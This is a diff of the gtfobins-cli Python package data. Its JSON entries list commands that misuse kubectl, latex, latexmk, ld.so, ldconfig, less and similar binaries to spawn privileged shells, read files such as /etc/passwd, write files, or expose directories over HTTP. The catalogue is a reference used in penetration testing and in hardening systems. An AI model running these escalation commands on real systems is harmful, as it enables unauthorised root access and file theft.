gtfobins-cli 1.0.0__py3-none-any.whl → 1.1.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- gtfo/__init__.py +2 -1
- gtfo/cli.py +204 -32
- gtfo/data/7z.json +16 -0
- gtfo/data/aa-exec.json +22 -0
- gtfo/data/ab.json +28 -0
- gtfo/data/acr.json +16 -0
- gtfo/data/agetty.json +10 -0
- gtfo/data/alpine.json +22 -0
- gtfo/data/ansible-playbook.json +16 -0
- gtfo/data/ansible-test.json +16 -0
- gtfo/data/aoss.json +16 -0
- gtfo/data/apache2ctl.json +16 -0
- gtfo/data/apport-cli.json +22 -0
- gtfo/data/apt-get.json +6 -6
- gtfo/data/apt.json +8 -8
- gtfo/data/aptitude.json +16 -0
- gtfo/data/ar.json +6 -4
- gtfo/data/aria2c.json +17 -5
- gtfo/data/arj.json +28 -0
- gtfo/data/arp.json +7 -5
- gtfo/data/as.json +22 -0
- gtfo/data/ascii-xfr.json +22 -0
- gtfo/data/ascii85.json +16 -0
- gtfo/data/ash.json +9 -5
- gtfo/data/aspell.json +22 -0
- gtfo/data/asterisk.json +20 -0
- gtfo/data/at.json +3 -1
- gtfo/data/atobm.json +6 -4
- gtfo/data/awk.json +20 -14
- gtfo/data/aws.json +16 -0
- gtfo/data/base32.json +7 -4
- gtfo/data/base58.json +16 -0
- gtfo/data/base64.json +7 -4
- gtfo/data/basenc.json +6 -3
- gtfo/data/basez.json +22 -0
- gtfo/data/bash.json +22 -17
- gtfo/data/bashbug.json +14 -0
- gtfo/data/batcat.json +22 -0
- gtfo/data/bc.json +22 -0
- gtfo/data/bconsole.json +22 -0
- gtfo/data/bee.json +10 -0
- gtfo/data/borg.json +16 -0
- gtfo/data/bpftrace.json +6 -3
- gtfo/data/bridge.json +22 -0
- gtfo/data/bundle.json +32 -0
- gtfo/data/bundler.json +7 -4
- gtfo/data/busctl.json +14 -3
- gtfo/data/busybox.json +17 -8
- gtfo/data/byebug.json +4 -1
- gtfo/data/bzip2.json +22 -0
- gtfo/data/c89.json +28 -0
- gtfo/data/c99.json +28 -0
- gtfo/data/cabal.json +22 -0
- gtfo/data/cancel.json +3 -3
- gtfo/data/capsh.json +6 -3
- gtfo/data/cargo.json +14 -0
- gtfo/data/cat.json +7 -4
- gtfo/data/cdist.json +16 -0
- gtfo/data/certbot.json +2 -0
- gtfo/data/chattr.json +14 -0
- gtfo/data/check_by_ssh.json +2 -3
- gtfo/data/check_cups.json +4 -3
- gtfo/data/check_log.json +20 -18
- gtfo/data/check_memory.json +4 -3
- gtfo/data/check_raid.json +4 -3
- gtfo/data/check_ssl_cert.json +2 -3
- gtfo/data/check_statusfile.json +4 -3
- gtfo/data/chmod.json +4 -3
- gtfo/data/choom.json +22 -0
- gtfo/data/chown.json +5 -4
- gtfo/data/chroot.json +3 -1
- gtfo/data/chrt.json +28 -0
- gtfo/data/clamscan.json +22 -0
- gtfo/data/clisp.json +16 -0
- gtfo/data/cmake.json +28 -0
- gtfo/data/cmp.json +22 -0
- gtfo/data/cobc.json +3 -1
- gtfo/data/code.json +22 -0
- gtfo/data/column.json +6 -4
- gtfo/data/comm.json +6 -3
- gtfo/data/composer.json +3 -0
- gtfo/data/cowsay.json +2 -1
- gtfo/data/cowthink.json +16 -14
- gtfo/data/cp.json +21 -9
- gtfo/data/cpan.json +8 -7
- gtfo/data/cpio.json +14 -12
- gtfo/data/cpulimit.json +6 -3
- gtfo/data/crash.json +5 -4
- gtfo/data/crontab.json +5 -5
- gtfo/data/csh.json +9 -5
- gtfo/data/csplit.json +12 -3
- gtfo/data/csvtool.json +8 -5
- gtfo/data/ctr.json +10 -0
- gtfo/data/cupsfilter.json +6 -3
- gtfo/data/curl.json +19 -7
- gtfo/data/cut.json +7 -4
- gtfo/data/dash.json +9 -5
- gtfo/data/date.json +7 -5
- gtfo/data/dc.json +22 -0
- gtfo/data/dd.json +9 -5
- gtfo/data/debugfs.json +22 -0
- gtfo/data/dhclient.json +10 -0
- gtfo/data/dialog.json +7 -5
- gtfo/data/diff.json +11 -4
- gtfo/data/dig.json +6 -4
- gtfo/data/distcc.json +22 -0
- gtfo/data/dmesg.json +4 -4
- gtfo/data/dmidecode.json +10 -0
- gtfo/data/dmsetup.json +3 -1
- gtfo/data/dnf.json +3 -3
- gtfo/data/dnsmasq.json +10 -0
- gtfo/data/doas.json +10 -0
- gtfo/data/docker.json +9 -6
- gtfo/data/dos2unix.json +10 -0
- gtfo/data/dosbox.json +32 -0
- gtfo/data/dotnet.json +22 -0
- gtfo/data/dpkg.json +5 -5
- gtfo/data/dstat.json +16 -0
- gtfo/data/dvips.json +3 -1
- gtfo/data/easy_install.json +14 -11
- gtfo/data/eb.json +3 -2
- gtfo/data/ed.json +9 -3
- gtfo/data/efax.json +16 -0
- gtfo/data/elvish.json +34 -0
- gtfo/data/emacs.json +11 -6
- gtfo/data/enscript.json +16 -0
- gtfo/data/env.json +7 -4
- gtfo/data/eqn.json +7 -5
- gtfo/data/espeak.json +22 -0
- gtfo/data/ex.json +30 -22
- gtfo/data/exiftool.json +26 -4
- gtfo/data/expand.json +7 -5
- gtfo/data/expect.json +13 -4
- gtfo/data/facter.json +4 -2
- gtfo/data/fail2ban-client.json +14 -0
- gtfo/data/ffmpeg.json +10 -0
- gtfo/data/file.json +8 -8
- gtfo/data/find.json +19 -4
- gtfo/data/finger.json +5 -6
- gtfo/data/firejail.json +35 -0
- gtfo/data/fish.json +22 -0
- gtfo/data/flock.json +7 -4
- gtfo/data/fmt.json +5 -6
- gtfo/data/fold.json +7 -4
- gtfo/data/fping.json +16 -0
- gtfo/data/ftp.json +5 -3
- gtfo/data/fzf.json +90 -0
- gtfo/data/gawk.json +17 -11
- gtfo/data/gcc.json +12 -4
- gtfo/data/gcloud.json +16 -0
- gtfo/data/gcore.json +22 -0
- gtfo/data/gdb.json +15 -13
- gtfo/data/gem.json +8 -8
- gtfo/data/genie.json +22 -0
- gtfo/data/genisoimage.json +11 -4
- gtfo/data/getent.json +14 -0
- gtfo/data/ghc.json +4 -2
- gtfo/data/ghci.json +2 -0
- gtfo/data/gimp.json +19 -14
- gtfo/data/ginsh.json +22 -0
- gtfo/data/git.json +22 -11
- gtfo/data/gnuplot.json +16 -0
- gtfo/data/go.json +58 -0
- gtfo/data/grc.json +16 -0
- gtfo/data/grep.json +7 -5
- gtfo/data/gtester.json +10 -1
- gtfo/data/guile.json +16 -0
- gtfo/data/gzip.json +14 -5
- gtfo/data/hashcat.json +16 -0
- gtfo/data/hd.json +7 -5
- gtfo/data/head.json +7 -4
- gtfo/data/hexdump.json +7 -5
- gtfo/data/hg.json +16 -0
- gtfo/data/highlight.json +7 -4
- gtfo/data/hping3.json +7 -0
- gtfo/data/iconv.json +9 -6
- gtfo/data/iftop.json +3 -1
- gtfo/data/install.json +4 -3
- gtfo/data/ionice.json +7 -4
- gtfo/data/ip.json +11 -5
- gtfo/data/irb.json +13 -8
- gtfo/data/ispell.json +22 -0
- gtfo/data/java.json +10 -0
- gtfo/data/jjs.json +13 -10
- gtfo/data/joe.json +22 -0
- gtfo/data/join.json +6 -3
- gtfo/data/journalctl.json +3 -2
- gtfo/data/jq.json +7 -4
- gtfo/data/jrunscript.json +13 -10
- gtfo/data/jshell.json +35 -0
- gtfo/data/jtag.json +16 -0
- gtfo/data/julia.json +46 -0
- gtfo/data/knife.json +16 -0
- gtfo/data/ksh.json +19 -15
- gtfo/data/ksshell.json +7 -5
- gtfo/data/ksu.json +10 -0
- gtfo/data/kubectl.json +30 -0
- gtfo/data/last.json +16 -0
- gtfo/data/lastb.json +16 -0
- gtfo/data/latex.json +11 -2
- gtfo/data/latexmk.json +9 -6
- gtfo/data/ld.so.json +7 -5
- gtfo/data/ldconfig.json +1 -2
- gtfo/data/less.json +17 -7
- gtfo/data/lessfilter.json +22 -0
- gtfo/data/lesspipe.json +16 -0
- gtfo/data/lftp.json +22 -0
- gtfo/data/links.json +22 -0
- gtfo/data/ln.json +10 -0
- gtfo/data/loginctl.json +16 -0
- gtfo/data/logrotate.json +38 -0
- gtfo/data/logsave.json +7 -4
- gtfo/data/look.json +7 -4
- gtfo/data/lp.json +10 -0
- gtfo/data/ltrace.json +7 -5
- gtfo/data/lua.json +21 -15
- gtfo/data/lualatex.json +6 -4
- gtfo/data/luatex.json +6 -4
- gtfo/data/lwp-download.json +7 -5
- gtfo/data/lwp-request.json +4 -2
- gtfo/data/m4.json +59 -0
- gtfo/data/mail.json +3 -3
- gtfo/data/make.json +15 -7
- gtfo/data/man.json +5 -3
- gtfo/data/mawk.json +12 -6
- gtfo/data/minicom.json +26 -0
- gtfo/data/more.json +7 -3
- gtfo/data/mosh-server.json +10 -0
- gtfo/data/mosquitto.json +22 -0
- gtfo/data/mount.json +2 -2
- gtfo/data/msfconsole.json +16 -0
- gtfo/data/msgattrib.json +22 -0
- gtfo/data/msgcat.json +22 -0
- gtfo/data/msgconv.json +22 -0
- gtfo/data/msgfilter.json +28 -0
- gtfo/data/msgmerge.json +22 -0
- gtfo/data/msguniq.json +22 -0
- gtfo/data/mtr.json +5 -4
- gtfo/data/multitime.json +22 -0
- gtfo/data/mutt.json +14 -0
- gtfo/data/mv.json +5 -4
- gtfo/data/mypy.json +26 -0
- gtfo/data/mysql.json +9 -7
- gtfo/data/nano.json +9 -5
- gtfo/data/nasm.json +22 -0
- gtfo/data/nawk.json +16 -10
- gtfo/data/nc.json +13 -13
- gtfo/data/ncdu.json +22 -0
- gtfo/data/ncftp.json +22 -0
- gtfo/data/neofetch.json +22 -0
- gtfo/data/nft.json +22 -0
- gtfo/data/nginx.json +22 -0
- gtfo/data/nice.json +7 -4
- gtfo/data/nl.json +7 -5
- gtfo/data/nm.json +22 -0
- gtfo/data/nmap.json +26 -16
- gtfo/data/node.json +18 -12
- gtfo/data/nohup.json +10 -6
- gtfo/data/npm.json +6 -0
- gtfo/data/nroff.json +3 -1
- gtfo/data/nsenter.json +5 -3
- gtfo/data/ntpdate.json +22 -0
- gtfo/data/nvim.json +16 -0
- gtfo/data/octave.json +34 -0
- gtfo/data/od.json +7 -5
- gtfo/data/openssl.json +21 -16
- gtfo/data/openvpn.json +13 -5
- gtfo/data/openvt.json +1 -1
- gtfo/data/opkg.json +10 -0
- gtfo/data/pandoc.json +40 -0
- gtfo/data/passwd.json +10 -0
- gtfo/data/paste.json +6 -3
- gtfo/data/pax.json +10 -0
- gtfo/data/pdb.json +3 -2
- gtfo/data/pdflatex.json +5 -2
- gtfo/data/pdftex.json +3 -0
- gtfo/data/perf.json +22 -0
- gtfo/data/perl.json +28 -7
- gtfo/data/perlbug.json +16 -0
- gtfo/data/pexec.json +22 -0
- gtfo/data/pg.json +7 -3
- gtfo/data/php.json +25 -15
- gtfo/data/pic.json +10 -1
- gtfo/data/pico.json +8 -4
- gtfo/data/pidstat.json +22 -0
- gtfo/data/pip.json +19 -8
- gtfo/data/pipx.json +25 -0
- gtfo/data/pkexec.json +3 -2
- gtfo/data/pkg.json +1 -1
- gtfo/data/plymouth.json +10 -0
- gtfo/data/podman.json +10 -0
- gtfo/data/poetry.json +26 -0
- gtfo/data/posh.json +22 -0
- gtfo/data/pr.json +6 -4
- gtfo/data/procmail.json +10 -0
- gtfo/data/pry.json +4 -1
- gtfo/data/psftp.json +22 -0
- gtfo/data/psql.json +14 -1
- gtfo/data/ptx.json +22 -0
- gtfo/data/puppet.json +6 -4
- gtfo/data/pwsh.json +22 -0
- gtfo/data/pygmentize.json +14 -0
- gtfo/data/pyright.json +32 -0
- gtfo/data/python.json +21 -15
- gtfo/data/qpdf.json +18 -0
- gtfo/data/r.json +16 -0
- gtfo/data/rake.json +13 -4
- gtfo/data/rc.json +22 -0
- gtfo/data/readelf.json +7 -5
- gtfo/data/red.json +7 -5
- gtfo/data/redcarpet.json +5 -4
- gtfo/data/redis.json +10 -0
- gtfo/data/restic.json +13 -5
- gtfo/data/rev.json +6 -3
- gtfo/data/rlogin.json +3 -4
- gtfo/data/rlwrap.json +9 -6
- gtfo/data/rpm.json +9 -5
- gtfo/data/rpmdb.json +22 -0
- gtfo/data/rpmquery.json +6 -3
- gtfo/data/rpmverify.json +22 -0
- gtfo/data/rsync.json +7 -4
- gtfo/data/rsyslogd.json +16 -0
- gtfo/data/rtorrent.json +16 -0
- gtfo/data/ruby.json +17 -11
- gtfo/data/run-mailcap.json +7 -7
- gtfo/data/run-parts.json +7 -4
- gtfo/data/runscript.json +22 -0
- gtfo/data/rustdoc.json +26 -0
- gtfo/data/rustfmt.json +15 -0
- gtfo/data/rustup.json +22 -0
- gtfo/data/rview.json +36 -34
- gtfo/data/rvim.json +41 -35
- gtfo/data/sash.json +8 -5
- gtfo/data/scanmem.json +22 -0
- gtfo/data/scp.json +6 -3
- gtfo/data/screen.json +9 -7
- gtfo/data/script.json +6 -4
- gtfo/data/scrot.json +22 -0
- gtfo/data/sed.json +12 -9
- gtfo/data/service.json +5 -3
- gtfo/data/setarch.json +7 -4
- gtfo/data/setcap.json +16 -0
- gtfo/data/setfacl.json +16 -0
- gtfo/data/setlock.json +22 -0
- gtfo/data/sftp.json +7 -5
- gtfo/data/sg.json +1 -0
- gtfo/data/shred.json +16 -0
- gtfo/data/shuf.json +5 -5
- gtfo/data/slsh.json +22 -0
- gtfo/data/smbclient.json +9 -8
- gtfo/data/snap.json +2 -2
- gtfo/data/socat.json +23 -11
- gtfo/data/socket.json +16 -0
- gtfo/data/soelim.json +7 -5
- gtfo/data/softlimit.json +22 -0
- gtfo/data/sort.json +13 -4
- gtfo/data/split.json +15 -4
- gtfo/data/sqlite3.json +12 -6
- gtfo/data/sqlmap.json +16 -0
- gtfo/data/ss.json +6 -4
- gtfo/data/ssh-agent.json +22 -0
- gtfo/data/ssh-copy-id.json +24 -0
- gtfo/data/ssh-keygen.json +6 -6
- gtfo/data/ssh-keyscan.json +22 -0
- gtfo/data/ssh.json +11 -7
- gtfo/data/sshfs.json +42 -0
- gtfo/data/sshpass.json +22 -0
- gtfo/data/sshuttle.json +10 -0
- gtfo/data/start-stop-daemon.json +7 -4
- gtfo/data/stdbuf.json +7 -4
- gtfo/data/strace.json +8 -5
- gtfo/data/strings.json +7 -5
- gtfo/data/su.json +3 -2
- gtfo/data/sudo.json +10 -0
- gtfo/data/svn.json +10 -0
- gtfo/data/sysctl.json +13 -5
- gtfo/data/systemctl.json +7 -4
- gtfo/data/systemd-resolve.json +10 -0
- gtfo/data/systemd-run.json +60 -0
- gtfo/data/tac.json +7 -5
- gtfo/data/tail.json +7 -4
- gtfo/data/tailscale.json +10 -0
- gtfo/data/tar.json +14 -11
- gtfo/data/task.json +16 -0
- gtfo/data/taskset.json +7 -4
- gtfo/data/tasksh.json +22 -0
- gtfo/data/tbl.json +6 -4
- gtfo/data/tclsh.json +11 -6
- gtfo/data/tcpdump.json +11 -4
- gtfo/data/tcsh.json +28 -0
- gtfo/data/tdbtool.json +22 -0
- gtfo/data/tee.json +9 -7
- gtfo/data/telnet.json +6 -6
- gtfo/data/terraform.json +22 -0
- gtfo/data/tex.json +3 -0
- gtfo/data/tftp.json +5 -5
- gtfo/data/tic.json +22 -0
- gtfo/data/time.json +7 -5
- gtfo/data/timedatectl.json +16 -0
- gtfo/data/timeout.json +7 -4
- gtfo/data/tmate.json +22 -0
- gtfo/data/tmux.json +15 -3
- gtfo/data/top.json +2 -2
- gtfo/data/torify.json +16 -0
- gtfo/data/torsocks.json +16 -0
- gtfo/data/troff.json +6 -4
- gtfo/data/tsc.json +26 -0
- gtfo/data/tshark.json +10 -0
- gtfo/data/ul.json +7 -5
- gtfo/data/unexpand.json +7 -4
- gtfo/data/uniq.json +7 -5
- gtfo/data/unshare.json +7 -4
- gtfo/data/unsquashfs.json +16 -0
- gtfo/data/unzip.json +16 -0
- gtfo/data/update-alternatives.json +4 -4
- gtfo/data/urlget.json +16 -0
- gtfo/data/uudecode.json +22 -0
- gtfo/data/uuencode.json +21 -18
- gtfo/data/uv.json +43 -0
- gtfo/data/vagrant.json +22 -0
- gtfo/data/valgrind.json +5 -3
- gtfo/data/varnishncsa.json +16 -0
- gtfo/data/vi.json +18 -6
- gtfo/data/view.json +41 -36
- gtfo/data/vigr.json +16 -0
- gtfo/data/vim.json +43 -38
- gtfo/data/vimdiff.json +41 -36
- gtfo/data/vipw.json +16 -0
- gtfo/data/virsh.json +6 -5
- gtfo/data/volatility.json +10 -0
- gtfo/data/w3m.json +22 -0
- gtfo/data/wall.json +10 -0
- gtfo/data/watch.json +9 -6
- gtfo/data/wc.json +6 -4
- gtfo/data/wg-quick.json +10 -0
- gtfo/data/wget.json +17 -11
- gtfo/data/whiptail.json +22 -0
- gtfo/data/whois.json +9 -10
- gtfo/data/wireshark.json +16 -0
- gtfo/data/wish.json +5 -3
- gtfo/data/xargs.json +9 -8
- gtfo/data/xdg-user-dir.json +16 -0
- gtfo/data/xdotool.json +22 -0
- gtfo/data/xelatex.json +5 -2
- gtfo/data/xetex.json +3 -0
- gtfo/data/xmodmap.json +6 -4
- gtfo/data/xmore.json +6 -4
- gtfo/data/xpad.json +16 -0
- gtfo/data/xxd.json +9 -5
- gtfo/data/xz.json +7 -4
- gtfo/data/yarn.json +20 -0
- gtfo/data/yash.json +22 -0
- gtfo/data/yelp.json +2 -2
- gtfo/data/yt-dlp.json +24 -0
- gtfo/data/yum.json +4 -4
- gtfo/data/zathura.json +16 -0
- gtfo/data/zcat.json +10 -0
- gtfo/data/zic.json +20 -0
- gtfo/data/zip.json +5 -1
- gtfo/data/zless.json +15 -0
- gtfo/data/zsh.json +10 -5
- gtfo/data/zsoelim.json +7 -5
- gtfo/data/zypper.json +5 -3
- gtfo/images/filter-with.png +0 -0
- gtfo/images/search-docker.png +0 -0
- gtfo/images/search-for.png +0 -0
- gtfo/images/search-interactive.png +0 -0
- gtfo/images/sqlit3.png +0 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/METADATA +66 -17
- gtfobins_cli-1.1.0.dist-info/RECORD +474 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/WHEEL +1 -1
- gtfo/data/octave-cli.json +0 -30
- gtfo/data/ssh_keyscan.json +0 -20
- gtfobins_cli-1.0.0.dist-info/RECORD +0 -263
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/entry_points.txt +0 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/licenses/LICENSE +0 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/top_level.txt +0 -0
gtfo/data/kubectl.json
ADDED
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-upload": [
|
|
4
|
+
{
|
|
5
|
+
"description": "It serves files from a specified directory via HTTP, i.e., `http://<IP>:4444/x/<file>`.",
|
|
6
|
+
"code": "LFILE=dir_to_serve\nkubectl proxy --address=0.0.0.0 --port=4444 --www=$LFILE --www-prefix=/x/\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"suid": [
|
|
10
|
+
{
|
|
11
|
+
"description": "It serves files from a specified directory via HTTP, i.e., `http://<IP>:4444/x/<file>`.",
|
|
12
|
+
"code": "LFILE=dir_to_serve\n./kubectl proxy --address=0.0.0.0 --port=4444 --www=$LFILE --www-prefix=/x/\n"
|
|
13
|
+
},
|
|
14
|
+
{
|
|
15
|
+
"description": "It pops a new privileged shell using custom configuration",
|
|
16
|
+
"code": "cat << EOF > /tmp/config\napiVersion: v1\nclusters:\n- cluster:\n server: https://test\n name: kubernetes\ncontexts:\n- context:\n cluster: kubernetes\n user: kubernetes-admin\n name: kubernetes-admin@kubernetes\ncurrent-context: kubernetes-admin@kubernetes\nkind: Config\npreferences: {}\nusers:\n- name: kubernetes-admin\n user:\n exec:\n apiVersion: client.authentication.k8s.io/v1\n command: /bin/bash\n args: \n - \"-p\"\n - \"-c\"\n - \"/bin/bash -p </dev/tty >/dev/tty 2>/dev/tty\"\n interactiveMode: Always\nEOF\n./kubectl get pods --kubeconfig=/tmp/config \n"
|
|
17
|
+
}
|
|
18
|
+
],
|
|
19
|
+
"sudo": [
|
|
20
|
+
{
|
|
21
|
+
"description": "It serves files from a specified directory via HTTP, i.e., `http://<IP>:4444/x/<file>`.",
|
|
22
|
+
"code": "LFILE=dir_to_serve\nsudo kubectl proxy --address=0.0.0.0 --port=4444 --www=$LFILE --www-prefix=/x/\n"
|
|
23
|
+
},
|
|
24
|
+
{
|
|
25
|
+
"description": "It pops a new privileged shell using custom configuration",
|
|
26
|
+
"code": "cat << EOF > /tmp/config\napiVersion: v1\nclusters:\n- cluster:\n server: https://test\n name: kubernetes\ncontexts:\n- context:\n cluster: kubernetes\n user: kubernetes-admin\n name: kubernetes-admin@kubernetes\ncurrent-context: kubernetes-admin@kubernetes\nkind: Config\npreferences: {}\nusers:\n- name: kubernetes-admin\n user:\n exec:\n apiVersion: client.authentication.k8s.io/v1\n command: /bin/bash\n args: \n - \"-p\"\n - \"-c\"\n - \"/bin/bash -p </dev/tty >/dev/tty 2>/dev/tty\"\n interactiveMode: Always\nEOF\nsudo kubectl get pods --kubeconfig=/tmp/config \n"
|
|
27
|
+
}
|
|
28
|
+
]
|
|
29
|
+
}
|
|
30
|
+
}
|
gtfo/data/last.json
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
"description": "It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system. The output might be corrupted or incomplete if the file does not follow the expected database format. Available in util-linux on CentOS, RHEL, Fedora.",
|
|
6
|
+
"code": "LFILE=file_to_read\nlast -f $LFILE -a\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"sudo": [
|
|
10
|
+
{
|
|
11
|
+
"description": "If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.",
|
|
12
|
+
"code": "LFILE=file_to_read\nlast -f $LFILE -a\n"
|
|
13
|
+
}
|
|
14
|
+
]
|
|
15
|
+
}
|
|
16
|
+
}
|
gtfo/data/lastb.json
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
"description": "It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system. The output might be corrupted or incomplete if the file does not follow the expected database format. Available in util-linux on CentOS, RHEL, Fedora.",
|
|
6
|
+
"code": "LFILE=file_to_read\nlast -f $LFILE -a\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"sudo": [
|
|
10
|
+
{
|
|
11
|
+
"description": "If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.",
|
|
12
|
+
"code": "LFILE=file_to_read\nlast -f $LFILE -a\n"
|
|
13
|
+
}
|
|
14
|
+
]
|
|
15
|
+
}
|
|
16
|
+
}
|
gtfo/data/latex.json
CHANGED
|
@@ -2,26 +2,35 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
+
|
|
5
6
|
"code": "latex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n"
|
|
6
7
|
}
|
|
7
8
|
],
|
|
8
9
|
"file-read": [
|
|
9
10
|
{
|
|
10
11
|
"description": "The read file will be part of the output.",
|
|
11
|
-
"code": "latex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{
|
|
12
|
+
"code": "latex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{file_to_read}\\end{document}'\nstrings article.dvi\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"file-write": [
|
|
16
|
+
{
|
|
17
|
+
"description": "",
|
|
18
|
+
"code": "latex '\\documentclass{article}\\begin{document}\\immediate\\openout\\tempfile=file_to_write\\immediate\\write\\tempfile{content_to_write}\\end{document}'\n"
|
|
12
19
|
}
|
|
13
20
|
],
|
|
14
21
|
"sudo": [
|
|
15
22
|
{
|
|
16
23
|
"description": "The read file will be part of the output.",
|
|
17
|
-
"code": "sudo latex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{
|
|
24
|
+
"code": "sudo latex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{file_to_read}\\end{document}'\nstrings article.dvi\n"
|
|
18
25
|
},
|
|
19
26
|
{
|
|
27
|
+
|
|
20
28
|
"code": "sudo latex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n"
|
|
21
29
|
}
|
|
22
30
|
],
|
|
23
31
|
"limited-suid": [
|
|
24
32
|
{
|
|
33
|
+
|
|
25
34
|
"code": "./latex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n"
|
|
26
35
|
}
|
|
27
36
|
]
|
gtfo/data/latexmk.json
CHANGED
|
@@ -1,26 +1,29 @@
|
|
|
1
1
|
{
|
|
2
|
-
"description": "This allows to execute Perl code.",
|
|
3
2
|
"functions": {
|
|
4
3
|
"shell": [
|
|
5
4
|
{
|
|
6
|
-
|
|
5
|
+
|
|
6
|
+
"code": "latexmk -e 'exec \"/bin/sh\";'\n"
|
|
7
7
|
},
|
|
8
8
|
{
|
|
9
|
-
|
|
9
|
+
|
|
10
|
+
"code": "latexmk -latex='/bin/sh #' /dev/null\n"
|
|
10
11
|
}
|
|
11
12
|
],
|
|
12
13
|
"file-read": [
|
|
13
14
|
{
|
|
14
|
-
|
|
15
|
+
|
|
16
|
+
"code": "latexmk -e 'open(X,\"/etc/passwd\");while(<X>){print $_;}exit'\n"
|
|
15
17
|
},
|
|
16
18
|
{
|
|
17
19
|
"description": "The read file will be part of the output.",
|
|
18
|
-
"code": "TF=$(mktemp)\necho '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{
|
|
20
|
+
"code": "TF=$(mktemp)\necho '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{file_to_read}\\end{document}' >$TF\nstrings tmp.dvi\n"
|
|
19
21
|
}
|
|
20
22
|
],
|
|
21
23
|
"sudo": [
|
|
22
24
|
{
|
|
23
|
-
|
|
25
|
+
|
|
26
|
+
"code": "sudo latexmk -e 'exec \"/bin/sh\";'\n"
|
|
24
27
|
}
|
|
25
28
|
]
|
|
26
29
|
}
|
gtfo/data/ld.so.json
CHANGED
|
@@ -1,20 +1,22 @@
|
|
|
1
1
|
{
|
|
2
|
-
"description": "'ld.so' is the Linux dynamic linker/loader, its filename and location might change across distributions. The proper path is can be obtained with:\n```\n$ strings /proc/self/exe | head -1\n/lib64/ld-linux-x86-64.so.2\n```",
|
|
3
2
|
"functions": {
|
|
4
3
|
"shell": [
|
|
5
4
|
{
|
|
6
|
-
|
|
5
|
+
|
|
6
|
+
"code": "/lib/ld.so /bin/sh\n"
|
|
7
7
|
}
|
|
8
8
|
],
|
|
9
9
|
"suid": [
|
|
10
10
|
{
|
|
11
|
-
|
|
11
|
+
|
|
12
|
+
"code": "./ld.so /bin/sh -p\n"
|
|
12
13
|
}
|
|
13
14
|
],
|
|
14
15
|
"sudo": [
|
|
15
16
|
{
|
|
16
|
-
|
|
17
|
+
|
|
18
|
+
"code": "sudo /lib/ld.so /bin/sh\n"
|
|
17
19
|
}
|
|
18
20
|
]
|
|
19
21
|
}
|
|
20
|
-
}
|
|
22
|
+
}
|
gtfo/data/ldconfig.json
CHANGED
|
@@ -1,5 +1,4 @@
|
|
|
1
1
|
{
|
|
2
|
-
"description": "Follows a minimal example of how to use the described technique (details may change across different distributions). Run the code associated with the technique. Identify a target SUID executable, for example the 'libcap' library of 'ping':\n\n```\n$ ldd /bin/ping | grep libcap\n libcap.so.2 => /tmp/tmp.9qfoUyKaGu/libcap.so.2 (0x00007fc7e9797000)\n```\n\nCreate a fake library that spawns a shell at bootstrap:\n\n```\necho '#include <unistd.h>\n\n__attribute__((constructor))\nstatic void init() {\n execl(\"/bin/sh\", \"/bin/sh\", \"-p\", NULL);\n}\n' >\"$TF/lib.c\"\n```\n\nCompile it with:\n\n```\ngcc -fPIC -shared \"$TF/lib.c\" -o \"$TF/libcap.so.2\"\n```\n\nRun 'ldconfig' again as described below then just run 'ping' to obtain a root shell:\n\n```\n$ ping\n# id\nuid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)\n```",
|
|
3
2
|
"functions": {
|
|
4
3
|
"sudo": [
|
|
5
4
|
{
|
|
@@ -14,4 +13,4 @@
|
|
|
14
13
|
}
|
|
15
14
|
]
|
|
16
15
|
}
|
|
17
|
-
}
|
|
16
|
+
}
|
gtfo/data/less.json
CHANGED
|
@@ -2,39 +2,49 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
+
|
|
5
6
|
"code": "less /etc/profile\n!/bin/sh\n"
|
|
6
7
|
},
|
|
7
8
|
{
|
|
9
|
+
|
|
8
10
|
"code": "VISUAL=\"/bin/sh -c '/bin/sh'\" less /etc/profile\nv\n"
|
|
11
|
+
},
|
|
12
|
+
{
|
|
13
|
+
|
|
14
|
+
"code": "less /etc/profile\nv:shell\n"
|
|
9
15
|
}
|
|
10
16
|
],
|
|
11
17
|
"file-read": [
|
|
12
18
|
{
|
|
13
|
-
|
|
19
|
+
|
|
20
|
+
"code": "less file_to_read\n"
|
